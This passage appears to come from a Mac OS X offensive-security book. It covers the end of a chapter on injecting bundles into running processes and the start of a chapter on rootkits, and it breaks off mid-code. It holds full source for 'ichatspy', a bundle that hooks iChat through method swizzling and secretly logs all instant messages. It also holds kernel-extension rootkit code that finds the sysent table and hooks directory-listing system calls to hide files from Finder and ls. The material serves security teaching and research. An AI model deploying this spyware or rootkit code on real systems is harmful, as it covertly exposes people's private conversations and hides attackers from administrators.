Starting program: /Applications/iChat.app/Contents/MacOS/iChat 

Reading symbols for shared libraries 

+++++++++++++++++++++++++++++++++++++++++++++++++.......................

......................................................... done

Reading symbols for shared libraries . done

Reading symbols for shared libraries . done

Reading symbols for shared libraries . done

Reading symbols for shared libraries . done

Reading symbols for shared libraries .. done

Reading symbols for shared libraries . done

Reading symbols for shared libraries . done

Reading symbols for shared libraries . done

Reading symbols for shared libraries . done

Reading symbols for shared libraries . done

Reading symbols for shared libraries . done

Reading symbols for shared libraries . done

Reading symbols for shared libraries . done

Reading symbols for shared libraries . done

Reading symbols for shared libraries .. done

Reading symbols for shared libraries . done

Reading symbols for shared libraries . done

Reading symbols for shared libraries . done

Reading symbols for shared libraries . done

Reading symbols for shared libraries . done

Reading symbols for shared libraries . done

Reading symbols for shared libraries . done

Reading symbols for shared libraries . done

Reading symbols for shared libraries .. done

Reading symbols for shared libraries . done

Reading symbols for shared libraries . done

^C

Program received signal SIGINT, Interrupt.

0x916f94a6 in mach_msg_trap ()

(gdb) call (void*)objc_getClass(“Service”)

$1 = (void *) 0x261b60

(gdb) call (void*)sel_getUid(“sendMessage:toChatID:”)

$2 = (void *) 0x1e85b5

(gdb) call (void *)class_getInstanceMethod($1, $2)

$3 = (void *) 0x106a534

gdb) x/3x $3

0x106a534:     0x001e85b5     0x001e74e0     0x000988fb

(gdb)

So far in this example you have used the Objective-C runtime’s own func-
tions to look up the class and method that you are interested in. After call-
ing class_getInstanceMethod(), you are given an IMP pointer for the method’s 
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implementation. The fi rst element in this structure should match the selector 
for the method returned by sel_getUid(). The third element is a pointer to the 
method’s actual implementation in code.

(gdb) x/8i 0x000988fb

0x988fb:     push   ebp

0x988fc:     mov    ebp,esp

0x988fe:     sub    esp,0xa8

0x98904:     mov    DWORD PTR [ebp-0xc],ebx

0x98907:     lea    ebx,[ebp-0x70]

0x9890a:     mov    DWORD PTR [ebp-0x8],esi

0x9890d:     mov    DWORD PTR [ebp-0x4],edi

0x98910:     mov    DWORD PTR [ebp-0x80],0x0 

You can now set a breakpoint on it and observe when it is called and what its 
arguments are. You can set a breakpoint right after the frame pointer and stack 
pointer are set so that you can examine the method’s arguments relative to the 
frame pointer, just like they are displayed in IDA Pro. The Objective-C runtime 
passes two implicit arguments to each method. The object’s self pointer is the 
fi rst implicit argument and it is stored as an Objective-C object at $ebp+8. The 
method selector is the second implicit argument, and it is stored as a C-string 
at $ebp+12. The fi rst explicit method argument is available at $ebp+16 and the 
rest follow from there. From the breakpoint, you can examine the Objective-C 
object arguments using the GDB command “print-object” or “po” for short.

(gdb) break *0x98904

Breakpoint 1 at 0x98904

(gdb) cont

Continuing.

Breakpoint 1, 0x00098904 in ?? ()

(gdb) x /x $ebp+8

0xbfffec30:     0x008c6f30

gdb) x /x $ebp+12

0xbfffec34:     0x001e85b5

(gdb) x/s 0x001e85b5

0x1e85b5:      “sendMessage:toChatID:”

(gdb) po 0x008c6f30

Previous frame inner to this frame (gdb could not unwind past this 

frame)

Service[AIM]

gdb) x/x $ebp+16

0xbfffec38:     0x188185a0

(gdb) po 0x188185a0

Previous frame inner to this frame (gdb could not unwind past this 

frame)

<FZMessage: 0x188185a0>

(gdb) x/x $ebp+20
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0xbfffec3c:     0x00818a10

(gdb) po 0x00818a10

Previous frame inner to this frame (gdb could not unwind past this 

frame)

-dinodaizovi***3FFD4E63-3DCD-453A-A6B4-30A67E49898B

You can see that fi rst argument is an object of type FZMessage. The second 
argument is an NSString and it has a strange format. iChat precedes special-
purpose strings with a  dash (-) internally and this string uniquely identifi es 
a chat session. Its format is -<screenname>***<GUID>. You could use your 
understanding of this format to track logged iChats by grouping them by recipi-
ent and conversation.

Now that you know which methods you want to swizzle, you need to prepare 
some fake headers for them using class-dump. Using the –H option to class-
dump will generate header fi les for a chosen class:

% class-dump -H -C Service /Applications/iChat.app/Contents/MacOS/iChat

To perform the actual swizzling, you can use another package from Jonathan 
“Wolf” Rentzsch, JRSwizzle (http://rentzsch.com/trac/wiki/JRSwizzle). 
There are several different specifi c mechanisms that can be used for Objective-C 
method swizzling and different methods need to be used for different combina-
tions of the Objective-C runtime, host architecture, and whether the method 
is implemented directly in the chosen class or if it is inherited. JRSwizzle “just 
works,” regardless of the combination of those factors. 

JRSwizzle adds the method jr_swizzleMethod to NSObject. To use it, you need 
to declare a category that adds some new methods to an existing class. These 
new hook methods are the swizzled versions of the target methods. They must 
take the same type of arguments, but their selectors must be different so that 
you may differentiate them. When you call jr_swizzleMethod, it will swap the 
implementation of the real methods with the hook methods. If the hook methods 
call themselves, they will actually call the original methods.

This is somewhat confusing, but it is best demonstrated by example, as shown 
in the next section.

Example: iChat Spy
The next example is an injectable bundle to spy on iChats. This bundle will log 
all IMs sent to and received by /tmp/ichatspy. It may be found in this book’s 
source-code package in lib/bundles/ichat.

To perform method swizzling, we declare a new category iChatSpy for the 
Service class that contains the hook methods. To differentiate them from the 
original versions, we prefi x each method selector with “Swizzle.” In the bundle 
initialization function, sslspy_init(), we make the calls jr_swizzleMethod to 
perform the method swizzling.
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/**********************************************************************

 * NAME

 *

 *      ichatspy -- An injectable bundle to capture and log iChats

 *

 * SYNOPSIS

 *      inject-bundle ichatspy <pid>

 *      inject-bundle ichatspy <cmd> [ <args> ... ]

 *

 * DESCRIPTION

 *      This bundle is meant to be injected into a running or newly

 *      launched process by inject-bundle.  It will capture and log

 *      all chat messages sent or received through iChat to

 *      /tmp/ichatspy.

 *

 **********************************************************************/

#import “iChat/Service.h”

#import “iChat/FZMessage.h”

#import “JRSwizzle.h”

static FILE* _logfile = NULL;

static NSString* _getChatPeer(NSString* chat)

{

    NSArray* parts = [chat componentsSeparatedByString:@”***”];

    NSString* nickname = [[parts objectAtIndex:0] substringFromIndex:1];

    return nickname;

}

/**********************************************************************

 *                              iChatSpy                              *

 **********************************************************************/

@interface Service (iChatSpy)

- (oneway void)swizzleInvitedToChat:(NSString *)chat

                         isChatRoom:(BOOL)isRoom

                         invitation:(FZMessage *)invite;

- (oneway void)swizzleChat:(NSString *)chat

           messageReceived:(FZMessage*)message;

- (oneway void)swizzleSendMessage:(FZMessage*)message

                           toChatID:(NSString*)chat;

@end
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@implementation Service (iChatSpy)

- (oneway void)swizzleInvitedToChat:(NSString *)chat

                         isChatRoom:(BOOL)isRoom

                         invitation:(FZMessage *)invite

{

    fprintf(_logfile, “%s -> %s\n”,

            [_getChatPeer(chat) UTF8String], 

            [[invite body] UTF8String]);

    

    return [self swizzleInvitedToChat:chat isChatRoom:isRoom

                 invitation:invite];

}

- (oneway void)swizzleChat:(NSString *)chat

           messageReceived:(FZMessage*)message

{

    fprintf(_logfile, “%s -> %s\n”,

            [_getChatPeer(chat) UTF8String], 

            [[message body] UTF8String]);

    return [self swizzleChat:chat messageReceived:message];

}

- (oneway void)swizzleSendMessage:(FZMessage*)message

                           toChatID:(NSString*)chat

{

    fprintf(_logfile, “%s <- %s\n”,

            [_getChatPeer(chat) UTF8String], 

            [[message body] UTF8String]);

    return [self swizzleSendMessage:message toChatID:chat];

}

@end

/**********************************************************************

 *                         Bundle Interface                           *

 **********************************************************************/

/*

 * On initialization, swizzle several methods within the Service class

 * so that we can observe chat messages.

 */

static void ichatspy_init(void) __attribute__ ((constructor));

void ichatspy_init(void)

{

    NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init];

    NSError* error;
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    id clz;

    SEL orig, alt;

    clz = [Service class];

    // Swizzle Service invitedToChat: isChatRoom: invitation:

    orig = @selector(invitedToChat:isChatRoom:invitation:);

    alt = @selector(swizzleInvitedToChat:isChatRoom:invitation:);

    

    if (([clz jr_swizzleMethod:orig withMethod:alt error:&error]) != 

         YES) {

        NSLog(@”Swizzle error: %@”, [error localizedDescription]);

    }

    // Swizzle Service chat: messageReceived:

    orig = @selector(chat:messageReceived:);

    alt = @selector(swizzleChat:messageReceived:);

    

    if (([clz jr_swizzleMethod:orig withMethod:alt error:&error]) != 

         YES) {

        NSLog(@”Swizzle error: %@”, [error localizedDescription]);

    }

    // Swizzle Service sendMessage: toChatID:

    orig = @selector(sendMessage:toChatID:);

    alt = @selector(swizzleSendMessage:toChatID:);

    

    if (([clz jr_swizzleMethod:orig withMethod:alt error:&error]) != 

         YES) {

        NSLog(@”Swizzle error: %@”, [error localizedDescription]);

    }

    // Log chats to /tmp/ichatspy

    _logfile = fopen(“/tmp/ichatspy”, “w+”);

    

    [pool release];

}

If you inject this bundle into iChat, you will see that AIM messages are 
HTML-formatted. The following example shows a short exchange between a 
user using the AOL Instant Messaging (AIM) client in Gmail and another user 
using iChat. You can see that the HTML code generated by each is slightly dif-
ferent. For example, Gmail sends HTML elements in full capitalization, whereas 
iChat sends them in lowercase.

You can also observe that iChat sends some empty messages to indicate that 
the user is currently typing a message. You can also see that messages you send 
from iChat go through the sendMessage: method. If you examine the FZMessage 
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object’s properties, you can identify who the actual sender of the message is 
and whether the message is empty.

dinodaizovi -> <HTML><BODY>Say cheese</BODY></HTML>

dinodaizovi <- <html><body ichatballooncolor=”#ACB5BF” 

ichattextcolor=”#000000”>

</body></html>

dinodaizovi -> <html><body ichatballooncolor=”#ACB5BF” 

ichattextcolor=”#000000”>

</body></html>

dinodaizovi <- <html><body ichatballooncolor=”#ACB5BF” 

ichattextcolor=”#000000”>

<font face=”Helvetica” size=3 ABSZ=12>Cheese</font></body></html>

dinodaizovi -> <html><body ichatballooncolor=”#ACB5BF” 

ichattextcolor=”#000000”>

<font face=”Helvetica” size=3 ABSZ=12>Cheese</font></body></html>

Conclusion

The bundles and tools in this chapter demonstrate a number of extremely useful 
techniques for security attacks and testing: bundle injection, function hooking, 
and Objective-C method swizzling. These techniques allow you to implement 
mission logic in high-level C or Objective-C using any of the facilities or frame-
works provided by Mac OS X. 
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OK, you got root; now what? So far, this book has discussed how to fi nd vul-
nerabilities in computers running Mac OS X and how to exploit these holes to 
run code of your choosing. The last couple of chapters detailed some interest-
ing payloads to run on victims’ computers. In this fi nal chapter we move from 
controlling the user space to controlling the entire operating system by running 
code in the kernel. Code running within the kernel has no restrictions and can 
make fundamental changes to the way the operating system behaves. This allows 
the attacker to hide fi les, processes, and network connections from the normal 
system-administration tools. This ability makes discovering the compromise 
extremely diffi cult and makes cleaning up from the attack even more diffi cult.

Kernel Extensions

Rootkits are pieces of code that allow an attacker to hide their presence from 
the victim. They can hide fi les, processes, and network connections. They often 
come with modules that provide persistent access (backdoor) and network and 
keyboard sniffers. Most of these activities can be done, in one form or another, by 
user-space programs. Early rootkits simply modifi ed programs like ls to change 
their output to suit the attacker. Such rootkits are easily discovered, and more 
advanced versions, like the ones outlined in this chapter, rely on running code 
in the kernel to change the fundamentals of the operating system itself.

C H A P T E R 

12

Rootkits
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Kernel extensions allow dynamic kernel-level code to be added to the running 
Mac OS X kernel. Whereas user-space applications can communicate with the 
kernel only through very well-defi ned and regulated interfaces, such as system 
calls, kernel extensions have full access to the functions, variables, and data 
structures present in the kernel. They have the ability to add functionality to 
the kernel or fundamentally change the way the kernel operates.

Like most kernels, the Mac OS X kernel is modular and allows the dynamic 
addition and removal of new code when needed. Most often, this is done in the 
case of device drivers, special kernel code needed for particular physical (and 
virtual) devices. These device drivers are loaded automatically by the kernel 
when needed, or may be loaded manually by a privileged user. In Mac OS X 
parlance, kernel extensions are called kexts. These kexts are loaded by the user-
space daemon kextd. 

In the next section you will build a simple kext using Xcode, and we will 
discuss it and create some more interesting examples. 

Hello Kernel
Start up Xcode and choose New Project. Select Kernel Extension and then choose 
the Generic Kernel Extension. The other choice, IOKit driver, will be discussed 
later in the chapter. The main difference is that generic kernel extensions are 
easier to set up and are written in C, while IOKit drivers are written in C++. 
Both can perform the exact same actions—namely, anything. Next choose a 
name for the project, like hello-kernel, and press Save to bring up the main 
Xcode GUI; see Figure 12-1.

 Figure 12-1:  The Xcode GUI for building kernel extensions

95363c12.indd   32895363c12.indd   328 1/25/09   4:43:20 PM1/25/09   4:43:20 PM



 Chapter 12 ■ Rootkits 329

Add a print statement in both the start and stop functions. These functions 
are called when the extension is loaded and unloaded, respectively. The source 
code should look something like the following.

#include <mach/mach_types.h>

kern_return_t hello_kernel_start (kmod_info_t * ki, void * d) {

     printf(“In start\n”);

     return KERN_SUCCESS;

}

kern_return_t hello_kernel_stop (kmod_info_t * ki, void * d) {

     printf(“In stop\n”);

     return KERN_SUCCESS;

}

Open the Info.plist file and add the value 8.0.0 to the entries com.apple.
kpi.bsd and com.apple.kpi.libkern under the OSBundleLibraries entry; see 
Figure 12-2. 

 Figure 12-2:  The Info.plist file for the hello_kernel extension

Finally, press the Build button in the GUI to build the kext. Xcode creates the 
kext in the build/Debug directory. Examining this directory shows that kexts 
are actually a type of bundle.

$ find .

./hello-kernel.kext

./hello-kernel.kext/Contents

./hello-kernel.kext/Contents/Info.plist

./hello-kernel.kext/Contents/MacOS

./hello-kernel.kext/Contents/MacOS/hello-kernel

./hello-kernel.kext/Contents/Resources

./hello-kernel.kext/Contents/Resources/English.lproj

./hello-kernel.kext/Contents/Resources/English
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This bundle contains an information property-list fi le, which we’ll examine 
shortly, and a kernel module, or kmod. The kmod is a statically linked, relocat-
able Mach-O binary. The kext may now be loaded into the kernel. One caveat 
is that the entire bundle must be owned by root with group wheel.

$ cp -pr hello-kernel.kext /tmp

$ sudo chown -R root:wheel /tmp/hello-kernel.kext

$ sudo kextload /tmp/hello-kernel.kext

kextload: /tmp/hello-kernel.kext loaded successfully

To see that the kext is actively loaded, you can issue the kextstat command:

$ kextstat 

…

  123    0 0x2e263000 0x2000     0x1000     

com.yourcompany.kext.hello_kernel (1.0.0d1) <5 2>

Unloading it is just as easy:

$ sudo kextunload /tmp/hello-kernel.kext

kextunload: unload kext /tmp/hello-kernel.kext succeeded

The print statements appear in the system log:

$ grep ‘kernel\[0\]’ /var/log/system.log

Sep 11 14:41:15 Charlie-Millers-Computer kernel[0]: In start

Sep 11 14:41:20 Charlie-Millers-Computer kernel[0]: In stop

System Calls 

System calls are the glue between user-space processes and the kernel. They act 
as a way for user processes to request information and services from the kernel. 
As demonstrated in the chapter on shellcode, at the assembly level a system call 
will usually look something like this:

    mov     eax, 1          ; SYS_exit

    int     0x80

The number placed into the EAX register (for x86 architectures) indicates 
which system call should be invoked when the interrupt 80 is executed. These 
numbers can be found in /usr/include/sys/syscall.h. 

In the kernel a large table called sysent is indexed by the value placed in EAX 
before the system call. (The name comes from the fact that besides int 80, the 
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more traditional way to perform a system call is with the sysenter instruction.) 
At each spot in the sysent table lies the following structure.

struct sysent {         /* system call table */

        int16_t         sy_narg;        /* number of args */

        int8_t          sy_resv;        /* reserved  */

        int8_t          sy_flags;       /* flags */

        sy_call_t       *sy_call;       /* implementing function */

        sy_munge_t      *sy_arg_munge32; /* system call arguments 

munger for 32-bit process */

        sy_munge_t      *sy_arg_munge64; /* system call arguments 

munger for 64-bit process */

        int32_t         sy_return_type; /* system call return types */

        uint16_t        sy_arg_bytes;   /* Total size of arguments in 

bytes for

                                         * 32-bit system calls

                                         */

};

Of these fi elds, the most interesting from a rootkit perspective is sy_call, 
which is a function pointer to the actual code needed for the system call.

One possible way for a kernel-level rootkit to work is by changing the values 
of one or more of these function pointers for various system calls. This tech-
nique is generally known as hooking. The basic idea is evident in the following 
pseudocode.

old_systemcall = sysent[systemcallnumber].sy_call;

sysent[systemcallnumber] = new_systemcall.sy_call;

new_systemcall(args){

         // do something before real systemcall

         old_systemcall(args)

         // do something after real systemcall.

}

The idea is you simply save off the address of the original system-call code 
and replace the function pointer in the sysent table to point to your new version 
of the system call, which can still call the original system-call code. This is the 
way many basic rootkits work.

One minor issue on Mac OS X is that in recent versions, the kernel does not 
export the location of the sysent table. Therefore, your kernel module cannot 
make reference to it directly. This isn’t a deal breaker. It is still possible to fi nd 
this table in kernel memory and reference it to hook the system calls.

For any recent Mac OS X kernel, the nsysent variable (used to store the num-
ber of entries in the sysent table) is located just a bit before the sysent table. 
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Unlike sysent, nsysent is exported. Starting at this address, you can search for 
something that has the same structure as the sysent table.

#define is_small(x)                 (*(x)>=0 && *(x)<100)

#define is_addy(x)                  (*(x)>10000)

#define is_optional_addy(x)      (*(x)==0 || *(x)>10000)
#define is_stuct_sysent(x)      ( is_small(x) && is_addy((x)+1) && 
is_optional_addy((x)+2) && is_optional_addy((x)+3) && is_small((x)+4) && 
is_small((x)+5) )
#define is_sysent(x)            (is_stuct_sysent((x)) && 
is_stuct_sysent((x+6)) && is_stuct_sysent((x+12)))

static struct sysent *find_sysent () {

     unsigned int *looker = (unsigned int *) ( ((char *) &nsysent) + 

sizeof(nsysent) );

     while(!is_sysent(looker)){

              looker++;

     }

     printf(“Found sysent table at %x\n”, looker);

     return (struct sysent *) looker;

}

This code starts directly after the nsysent value and looks for three consecu-
tive structures that look like a struct sysent. Namely, by looking at the struct 
sysent, you can see that three types of values show up. There are small things, 
like the number of arguments or the return type. There are things that should 
be pointers, like sy_call. Finally, there are things that may be pointers or may 
be null, like sy_arg_munge32. By looking for things of the particular expected 
type in the particular expected order, you can be pretty sure you have found 
the address of the sysent table. For more reassurance, you could look for 5, 10, 
or even nsysent such consecutive structures. You could also look for specifi c 
values for the fi rst few system calls, although the simple method described 
earlier works fi ne. Now that you have the location of this data structure in 
memory, you may begin hooking the system calls to accomplish your goals of 
remaining stealthy on the system.

Hiding Files

Let’s create a simple rootkit that will hide fi les that begin with a certain prefi x. 
In practice this would be useful to hide the rootkit fi le on disk, any temporary 
fi les used to store keystrokes, any software installed by the attacker, etc. You 
fi rst need to fi gure out what system calls the program(s) you are trying to hide 
from use and change their behavior not to report on these particular hidden 
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fi les. To begin, focus on the Mac OS X Finder. To determine what system calls 
Finder uses when looking through directories, create a simple DTrace script 
that will print out the system calls used.

syscall:::entry

/execname == “Finder”/

{ 

} 

Run this script and navigate the fi le system with Finder. Filtering out some 
system calls that don’t seem relevant reveals the following.

$ sudo dtrace -s finder-finder.d  | grep -v map | grep -v kevent | grep 

-v geteuid | grep -v uid

dtrace: script ‘finder-finder.d’ matched 427 probes

CPU     ID                    FUNCTION:NAME

  0  18160            access_extended:entry 

  0  18032                getattrlist:entry 

  0  17602                       open:entry 

  0  18036          getdirentriesattr:entry 

  0  17602                       open:entry 

  0  17602                       open:entry 

  0  17602                       open:entry 

  0  17602                       open:entry 

  0  18036          getdirentriesattr:entry 

  0  17602                       open:entry 

  0  17602                       open:entry 

  0  17602                       open:entry 

…

Checking out the man page for getdirentriesattr reveals that “The get-
direntriesattr() function reads directory entries and returns their attributes 
(that is, metadata).” This is the system call that Finder is using to obtain a list 
of fi les in a directory. This system call has the following prototype.

int getdirentriesattr(int fd, struct attrlist *attrList, void *attrBuf, 

size_t attrBufSize, unsigned long *count, unsigned long *basep, unsigned 

long *newState, unsigned long options);

It is not important to understand exactly how it works, but just know that for 
a given open fi le descriptor, this system call will return a series of FInfoAttrBuf 
structures (see below) in the buffer pointed to by attrBuf. This buffer has length 
attrBufSize and contains *count structures. To hide a fi le, you have to call the real 
getdirentriesattr function and then change the buffer pointed to by attrList to 
remove the structure(s) that describes the hidden fi le(s) and fi x up attrBufSize 
and count. Finally, return these modifi ed values to the user-space process. 
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There is one fi nal thing to discuss before writing your fi le-hiding rootkit. 
While the system-call prototype was given earlier, this is not the prototype for 
the function the sysent table points to. Rather, the function looks like this:

int getdirentriesattr (proc_t p, struct getdirentriesattr_args *uap, 

register_t *retval)

This came from vfs_syscalls.c from the XNU kernel source. Something similar 
can be found in the sysproto.h fi le from the kernel development headers. These 
include fi les can be found at /System/Library/Frameworks/Kernel.framework/
Versions/A/Headers. All the system calls take this form, with exactly three 
arguments. The fi rst argument indicates information about the process that 
called it. The second argument contains the actual arguments the system call 
needs. The fi nal argument points to the return value of the system call. In this 
case, the second argument takes the following form, again from sysproto.h,

struct getdirentriesattr_args {

        char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)];

        char alist_l_[PADL_(user_addr_t)]; user_addr_t alist; char 

alist_r_[PADR_(user_addr_t)];

        char buffer_l_[PADL_(user_addr_t)]; user_addr_t buffer; char 

buffer_r_[PADR_(user_addr_t)];

        char buffersize_l_[PADL_(user_size_t)]; user_size_t buffersize; 

char buffersize_r_[PADR_(user_size_t)];

        char count_l_[PADL_(user_addr_t)]; user_addr_t count; char 

count_r_[PADR_(user_addr_t)];

        char basep_l_[PADL_(user_addr_t)]; user_addr_t basep; char 

basep_r_[PADR_(user_addr_t)];

        char newstate_l_[PADL_(user_addr_t)]; user_addr_t newstate; char 

newstate_r_[PADR_(user_addr_t)];

        char options_l_[PADL_(user_ulong_t)]; user_ulong_t options; char 

options_r_[PADR_(user_ulong_t)];

};

This is a complicated defi nition, but the PAD* macros have to do with the 
endianness (byte ordering) of the hardware and can be ignored for this discus-
sion. Basically, in the kernel code from the rootkit, to access the buffer argument 
passed by the user process into the system call, the rootkit will use uap->buffer. 
The user_addr_t indicates that the address points to memory in the user-space 
process (as opposed to kernel-space memory). This is important because kernel-
level code should not operate directly on user memory, as there is no guarantee 
it is mapped at any given moment. Instead the copyin and copyout functions 
should be called to copy data across the kernel/user-space barrier. Finally, you 
are ready for a rootkit that hides fi les from Finder. The following function hooks 
the system call.

static int our_getdirentriesattr(struct proc *p, struct 

getdirentriesattr_args *uap, int *i){
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     int index;

     int ret = real_getdirentriesattr(p, uap, i);

     int count;

     copyin(uap->count, &count, 4);

     char *buffer, *end;

     MALLOC(buffer, char *, uap->buffersize, M_TEMP, M_WAITOK);

     copyin(uap->buffer, buffer, uap->buffersize);

     end = buffer + uap->buffersize;

     FInfoAttrBuf *thisEntry = (FInfoAttrBuf *) buffer;

     int num_found = 0;

     int num_removed = 0;

     for (index = 0; index < count; index++) {

            char *filename =  ((char *) &thisEntry->name) + thisEntry->

name.attr_dataoffset;

            printf(“[getdirentriesattr] %s\n”, filename);

            if(!memcmp(filename, “haxor”, 5)){

                    int removed_this_time = thisEntry->length;

                    char *thisone = (char *) thisEntry;

                    char *nextone = thisone + thisEntry->length;

                    int size_left = uap->buffersize - (thisone - buffer);

                    memmove(thisone, nextone, size_left);

                    num_found++;

                    num_removed+=removed_this_time;

            } else {

                    char *t = ((char *) thisEntry) + thisEntry->length;

                    thisEntry = (FInfoAttrBuf *) t;

            }

     }

     if(num_found > 0){

            count -= num_found;

            copyout(&count, uap->count, 4);

            uap->buffersize -= num_removed;

            copyout(buffer, uap->buffer, uap->buffersize);

     }

     FREE(buffer, M_TEMP);

     return ret;

}

First this function calls the real getdirentriesattr function. Using the copyin 
function, it copies the value of the count variable that indicates how many 
structures are in the buffer. Next it allocates enough space to make a copy of 
the user-space buffer to work on. It then copies the buffer containing all the 
fi le-system information into the newly allocated kernel buffer. Then it iterates 
through this buffer, comparing each fi lename to the string “haxor.” If it fi nds a 
fi le that begins with these fi ve letters, it removes it from the buffer by fi nding the 
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location of the next structure and calling memmove to move the rest of the buf-
fer on top of the current structure. It saves the number of bytes it has removed 
in this fashion. If the fi le being examined did not begin with the magic string, 
the function advances to the next structure and continues looking. 

Finally, after examining the entire buffer, the function copies the modifi ed 
buffer back into the user space in place of the real buffer by using copyout. It also 
fi xes the count and buffersize variables and frees the buffer that was malloc’ed 
earlier in the function and returns the original return value. The entire code 
for this rootkit will be given later in this section.

Loading this kernel module and using Finder reveals that from Finder’s per-
spective, all the fi les that begin with “haxor” have disappeared; see Figures 
12-3 and 12-4.

 Figure 12-3:  Now you see it.

 Figure 12-4:  Now you don’t.

Interestingly, with this rootkit installed, doing an ls on the directory in 
question still reveals the hidden fi les! This is because ls doesn’t use the get-
direntriesattr system call to get directory listings, but instead uses some other 
system call. Take this as a cautionary tale. There is usually more than one way 
to do the same thing, and if you are hooking system calls, it is important to 
hook all the system calls that could detect you. Using a similar DTrace script 
reveals that ls uses getdirentries64, which is a slightly simpler version of the 
getdirentriesattr system call. Hooking this system call as well results in the full 
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source of the fi le-hiding kernel extension. The fi rst portion of the code includes 
the necessary fi les as well as defi nes the structures that cannot be included.

#include <mach/mach_types.h>

#include <sys/systm.h>

#include <sys/kernel.h>

#include <sys/dirent.h>

#include <sys/attr.h>

#include <sys/sysctl.h>

#include <stdint.h>

typedef int32_t     sy_call_t (struct proc *, void *, int *);

typedef void     sy_munge_t (const void *, void *);

struct sysent {

      int16_t       sy_narg;          /* number of arguments */

      int8_t        reserved;         /* unused value */

      int8_t        sy_flags;         /* call flags */

      sy_call_t     *sy_call;         /* implementing function */

      sy_munge_t    *sy_arg_munge32;  /* munge system call arguments for 

32-bit processes */

sy_munge_t     *sy_arg_munge64;     /* munge system call arguments for 

64-bit processes */

int32_t          sy_return_type; /* return type */

uint16_t     sy_arg_bytes; /* The size of all arguments for 32-

bit system calls, in bytes */

};

static struct sysent *_sysent;

extern int nsysent;

#define PAD_(t) (sizeof(uint64_t) <= sizeof(t) ? \

0 : sizeof(uint64_t) - sizeof(t))

#if BYTE_ORDER == LITTLE_ENDIAN

#define PADL_(t)        0

#define PADR_(t)        PAD_(t)

#else

#define PADL_(t)        PAD_(t)

#define PADR_(t)        0

#endif

#define     SYS_getdirentriesattr 222

#define     SYS_getdirentries64 344

struct getdirentriesattr_args {

     char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)];

     char alist_l_[PADL_(user_addr_t)]; user_addr_t alist; char 
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alist_r_[PADR_(user_addr_t)];

     char buffer_l_[PADL_(user_addr_t)]; user_addr_t buffer; char 

buffer_r_[PADR_(user_addr_t)];

     char buffersize_l_[PADL_(user_size_t)]; user_size_t buffersize; 

     char buffersize_r_[PADR_(user_size_t)];

     char count_l_[PADL_(user_addr_t)]; user_addr_t count; char 

count_r_[PADR_(user_addr_t)];

     char basep_l_[PADL_(user_addr_t)]; user_addr_t basep; char 

basep_r_[PADR_(user_addr_t)];

     char newstate_l_[PADL_(user_addr_t)]; user_addr_t newstate; char 

newstate_r_[PADR_(user_addr_t)];

     char options_l_[PADL_(user_ulong_t)]; user_ulong_t options; char 

options_r_[PADR_(user_ulong_t)];

};

struct getdirentries64_args {

     char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)];

     char buf_l_[PADL_(user_addr_t)]; user_addr_t buf; char 

buf_r_[PADR_(user_addr_t)];

     char bufsize_l_[PADL_(user_size_t)]; user_size_t bufsize; char 

bufsize_r_[PADR_(user_size_t)];

     char position_l_[PADL_(user_addr_t)]; user_addr_t position; char 

position_r_[PADR_(user_addr_t)];

};

struct FInfoAttrBuf {

     unsigned long   length;

     attrreference_t name;

     fsobj_type_t    objType;

     char            finderInfo[32];

};

typedef struct FInfoAttrBuf FInfoAttrBuf;

typedef int getdirentries64_t (struct proc *, struct 

getdirentries64_args *, user_ssize_t *);

static getdirentries64_t *real_getdirentries64;

typedef int getdirentriesattr_t (struct proc *, struct 

getdirentriesattr_args *, int *);

static getdirentriesattr_t *real_getdirentriesattr;

Next is the function that will replace the getdirentries64 system call used by 
programs such as ls.

static int our_getdirentries64(struct proc *p, struct 

getdirentries64_args *uap, user_ssize_t *i){

     int ret = real_getdirentries64(p, uap, i);

     char *buf, *end;

     MALLOC(buf, char *, uap->bufsize, M_TEMP, M_WAITOK);

     copyin(uap->buf, buf, uap->bufsize);

     end = buf + uap->bufsize;
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     struct direntry *thisEntry = (struct direntry *) buf;

     int num_removed = 0;

     while(((char *) thisEntry < end) && (thisEntry->d_reclen > 0)){

            char *filename = thisEntry->d_name;

            if(!memcmp(filename, “haxor”, 5)){

                    printf(“[getdirentrie64]: FOUND IT\n”);

                    int removed_this_time = thisEntry->d_reclen;

                    char *thisone = (char *) thisEntry;

                    char *nextone = thisone + thisEntry->d_reclen;

                    int size_left = uap->bufsize - (thisone - buf);

                    memmove(thisone, nextone, size_left);

                    num_removed+=removed_this_time;   

                    end -= removed_this_time;

            } else {

                    char *t = ((char *) thisEntry) + thisEntry->d_reclen;

                    thisEntry = (struct direntry *) t;

            }

     }

     if(num_removed > 0){

            *i -= num_removed;

            copyout(buf, uap->buf, uap->bufsize);

     }

     FREE(buf, M_TEMP);

     return ret;                                      

}

Now the getdirentriesattr system call is replaced with our version.

     static int our_getdirentriesattr(struct proc *p, struct

     getdirentriesattr_args *uap, int *i){

     int index;

     int ret = real_getdirentriesattr(p, uap, i);

     int count;

     copyin(uap->count, &count, 4);

     char *buffer, *end;

     MALLOC(buffer, char *, uap->buffersize, M_TEMP, M_WAITOK);

     copyin(uap->buffer, buffer, uap->buffersize);

     end = buffer + uap->buffersize;

     FInfoAttrBuf *thisEntry = (FInfoAttrBuf *) buffer;

     int num_found = 0;

     int num_removed = 0;

     for (index = 0; index < count; index++) {

            char *filename =  ((char *) &thisEntry->name) + thisEntry-

>name.attr_dataoffset;
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            printf(“[getdirentriesattr] %s\n”, filename);

            if(!memcmp(filename, “haxor”, 5)){

                    printf(“[getdirentriesattr] FOUND IT\n”);

                    int removed_this_time = thisEntry->length;

                    char *thisone = (char *) thisEntry;

                    char *nextone = thisone + thisEntry->length;

                    int size_left = uap->buffersize - (thisone - buffer);

                    memmove(thisone, nextone, size_left);

                    num_found++;

                    num_removed+=removed_this_time;

            } else {

                    char *t = ((char *) thisEntry) + thisEntry->length;

                    thisEntry = (FInfoAttrBuf *) t;

            }

     }

     if(num_found > 0){

     count -= num_found;

     copyout(&count, uap->count, 4);

     uap->buffersize -= num_removed;

     copyout(buffer, uap->buffer, uap->buffersize);

     }

     FREE(buffer, M_TEMP);

     return ret;

}

The following function is responsible for fi nding the sysent table’s address. 
This is necessary since the kernel does not export the sysent symbol. 

#define is_small(x)                  (*(x)>=0 && *(x)<100)

#define is_addy(x)                  (*(x)>10000)

#define is_optional_addy(x)      (*(x)==0 || *(x)>10000)

#define is_stuct_sysent(x)      ( is_small(x) && is_addy((x)+1) && 

